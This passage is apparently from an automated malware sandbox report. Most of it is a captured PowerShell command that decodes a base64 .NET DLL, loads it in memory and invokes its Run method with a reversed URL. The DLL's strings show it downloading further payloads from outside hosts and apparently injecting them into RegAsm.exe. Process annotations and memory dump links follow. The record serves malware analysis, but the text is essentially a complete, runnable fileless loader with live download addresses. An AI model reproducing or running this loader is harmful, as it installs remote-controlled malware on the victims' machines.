'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c3RhbmNlAGRlZmF1bHRJbnN0YW5jZQBpbnN0YW5jZQBHZXRIYXNoQ29kZQBJbnZva2UAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAU2VjdXJpdHlQcm90b2NvbFR5cGUAR2V0VHlwZQBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQByZXNvdXJjZUN1bHR1cmUATWV0aG9kQmFzZQBBcHBsaWNhdGlvbkJhc2UAQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UAU3RyUmV2ZXJzZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBHdWlkQXR0cmlidXRlAEhlbHBLZXl3b3JkQXR0cmlidXRlAEdlbmVyYXRlZENvZGVBdHRyaWJ1dGUARGVidWdnZXJOb25Vc2VyQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEVkaXRvckJyb3dzYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAU3RhbmRhcmRNb2R1bGVBdHRyaWJ1dGUASGlkZU1vZHVsZU5hbWVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAERlYnVnZ2VySGlkZGVuQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAZ2V0X1ZhbHVlAHNldF9WYWx1ZQBHZXRPYmplY3RWYWx1ZQBzZXRfRW5jb2RpbmcAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5nAERvd25sb2FkU3RyaW5nAFRvU3RyaW5nAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5NeVNlcnZpY2VzLkludGVybmFsAFN5c3RlbS5Db21wb25lbnRNb2RlbABDbGFzc0xpYnJhcnkzLmRsbABzZXRfU2VjdXJpdHlQcm90b2NvbABTeXN0ZW0AcmVzb3VyY2VNYW4AU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbgBBcHBEb21haW4AZ2V0X0N1cnJlbnREb21haW4AZ2V0X0FwcGxpY2F0aW9uAE15QXBwbGljYXRpb24AU3lzdGVtLkNvbmZpZ3VyYXRpb24AU3lzdGVtLkdsb2JhbGl6YXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ARXhjZXB0aW9uAFJ1bgBNZXRob2RJbmZvAEN1bHR1cmVJbmZvAG1fQXBwT2JqZWN0UHJvdmlkZXIAbV9Vc2VyT2JqZWN0UHJvdmlkZXIAbV9Db21wdXRlck9iamVjdFByb3ZpZGVyAG1fTXlXZWJTZXJ2aWNlc09iamVjdFByb3ZpZGVyAGdldF9SZXNvdXJjZU1hbmFnZXIAU2VydmljZVBvaW50TWFuYWdlcgBTeXN0ZW0uQ29kZURvbS5Db21waWxlcgBnZXRfVXNlcgBnZXRfQ29tcHV0ZXIATXlDb21wdXRlcgBDbGVhclByb2plY3RFcnJvcgBTZXRQcm9qZWN0RXJyb3IAQWN0aXZhdG9yAC5jdG9yAC5jY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkRldmljZXMAZ2V0X1dlYlNlcnZpY2VzAE15V2ViU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkFwcGxpY2F0aW9uU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJlc291cmNlcwBDbGFzc0xpYnJhcnkzLk15LlJlc291cmNlcwBDbGFzc0xpYnJhcnkzLlJlc291cmNlcy5yZXNvdXJjZXMARGVidWdnaW5nTW9kZXMAU3RyaW5ncwBnZXRfU2V0dGluZ3MATXlTZXR0aW5ncwBSZWZlcmVuY2VFcXVhbHMAUnVudGltZUhlbHBlcnMAQ29uY2F0AE9iamVjdABNeVByb2plY3QAU3lzdGVtLk5ldABnZXRfRGVmYXVsdABXZWJDbGllbnQAQ29udmVydABTeXN0ZW0uVGV4dABtX0NvbnRleHQAQ2xhc3NMaWJyYXJ5My5NeQBnZXRfQXNzZW1ibHkATXlTZXR0aW5nc1Byb3BlcnR5AAAAL0MAbABhAHMAcwBMAGkAYgByAGEAcgB5ADMALgBSAGUAcwBvAHUAcgBjAGUAcwAAe3QAeAB0AC4AMwAwAGUAcABtAHUAUgAvADMAMAAtAGUAcABtAHUAcgAvAHMAbQBlAHQAaQAvADIAMQAvAGcAcgBvAC4AZQB2AGkAaABjAHIAYQAuAHMAdQAuADMAMAA0ADEAMAA2AGEAaQAvAC8AOgBzAHAAdAB0AGgAAQUDJgMmAQNBAABFQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawAAF1wAdgA0AC4AMAAuADMAMAAzADEAOQAAKUMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEALgBDAGwAYQBzAHMAMQAAB1IAdQBuAAAXXABSAGUAZwBBAHMAbQAuAGUAeABlAAAAe000wQGMFUmZ7QBV0BJNAQAEIAEBCAMgAAEFIAEBEREEIAEBDgQgAQECBSACAQ4OBSABARFBByAEAQ4ODg4GFRIoARIMBhUSKAESCAYVEigBEmEGFRIoARIkBCAAEwAFAAICHBwHAAESaRGAjQUgABKAkQcgAgEOEoCRCAABEoCVEoCVCAcEDg4OEoCJBgABARGAnQUAABKApQYgAQESgKUEAAEODgQgAQ4OBSACDg4OBQACDg4OBQAAEoCxBQABHQUOByABEoCRHQUFIAESaQ4GIAESgLkOBiACHBwdHAYAAQESgIkDAAABBAABHBwEIAECHAMgAAgDIAAOBAcBHgACHgAFEAEAHgAECgEeAAQHARMABhUSKAETAAcGFRJtARMABhUSbQETAAITAAQKARMABSABARMACLd6XFYZNOCJCLA/X38R1Qo6BwYVEigBEgwHBhUSKAESCAcGFRIoARJhBwYVEigBEiQDBhJ9BAYSgIEDBhIYBAAAEgwEAAASCAQAABJhBAAAEiQEAAASfQUAABKAgQYAAQESgIEEAAASGAQAAQEOBCAAEmkHEAEBHgAeAAcwAQEBEB4ABAgAEgwECAASCAQIABJhBAgAEiQECAASfQUIABKAgQQIABIYBCgAEwAIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAABQEAAAAAKQEAJDc5MTcyQjEzLUVEQkEtNDA5Ni1CNzI1LThFOTJCNzMwQjJCQQAADAEABzEuMC4wLjAAAEkBABouTkVURnJhbWV3b3JrLFZlcnNpb249djQuNQEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUSLk5FVCBGcmFtZXdvcmsgNC41BAEAAAAIAQABAAAAAAAYAQAKTXlUZW1wbGF0ZQgxMS4wLjAuMAAAQQEAM1N5c3RlbS5SZXNvdXJjZXMuVG9vbHMuU3Ryb25nbHlUeXBlZFJlc291cmNlQnVpbGRlcggxNi4wLjAuMAAAWQEAS01pY3Jvc29mdC5WaXN1YWxTdHVkaW8uRWRpdG9ycy5TZXR0aW5nc0Rlc2lnbmVyLlNldHRpbmdzU2luZ2xlRmlsZUdlbmVyYXRvcggxNi4yLjAuMAAAYQEANFN5c3RlbS5XZWIuU2VydmljZXMuUHJvdG9jb2xzLlNvYXBIdHRwQ2xpZW50UHJvdG9jb2wSQ3JlYXRlX19JbnN0YW5jZV9fE0Rpc3Bvc2VfX0luc3RhbmNlX18AAAAQAQALTXkuQ29tcHV0ZXIAABMBAA5NeS5BcHBsaWNhdGlvbgAADAEAB015LlVzZXIAABMBAA5NeS5XZWJTZXJ2aWNlcwAAEAEAC015LlNldHRpbmdzAAAAAAC0AAAAzsrvvgEAAACRAAAAbFN5c3RlbS5SZXNvdXJjZXMuUmVzb3VyY2VSZWFkZXIsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSNTeXN0ZW0uUmVzb3VyY2VzLlJ1bnRpbWVSZXNvdXJjZVNldAIAAAAAAAAAAAAAAFBBRFBBRFC0AAAAAAAAAEjHs6YAAAAAAgAAAHkAAAA0OgAANBwAAAAAAAAAAAAA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';[Byte[]] $pgWvd = [System.Convert]::FromBase64String( $GRMAe );[System.AppDomain]::CurrentDomain.Load($pgWvd).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('u48b/war/edoc/oi.slootw//:sptth'))"
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1616

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/840-58-0x000007FEFB611000-0x000007FEFB613000-memory.dmp
          Download

          memory/1600-55-0x000000005FFF0000-0x0000000060000000-memory.dmp
          Download

          memory/1600-54-0x0000000070E01000-0x0000000070E03000-memory.dmp
          Download

          memory/1600-53-0x0000000073DD1000-0x0000000073DD5000-memory.dmp
          Download

          memory/1600-65-0x000000005FFF0000-0x0000000060000000-memory.dmp
          Download

          memory/1600-59-0x0000000005920000-0x0000000005922000-memory.dmp
          Download

          memory/1600-57-0x0000000075471000-0x0000000075473000-memory.dmp
          Download

          memory/1616-82-0x0000000002330000-0x0000000002331000-memory.dmp
          Download

          memory/1616-84-0x0000000002332000-0x0000000002334000-memory.dmp
          Download

          memory/1616-83-0x0000000002331000-0x0000000002332000-memory.dmp
          Download

          memory/1748-78-0x0000000002410000-0x000000000305A000-memory.dmp
          Download

          memory/1952-70-0x0000000002391000-0x0000000002392000-memory.dmp
          Download

          memory/1952-71-0x0000000002392000-0x0000000002394000-memory.dmp
          Download

          memory/1952-69-0x0000000002390000-0x0000000002391000-memory.dmp
          Download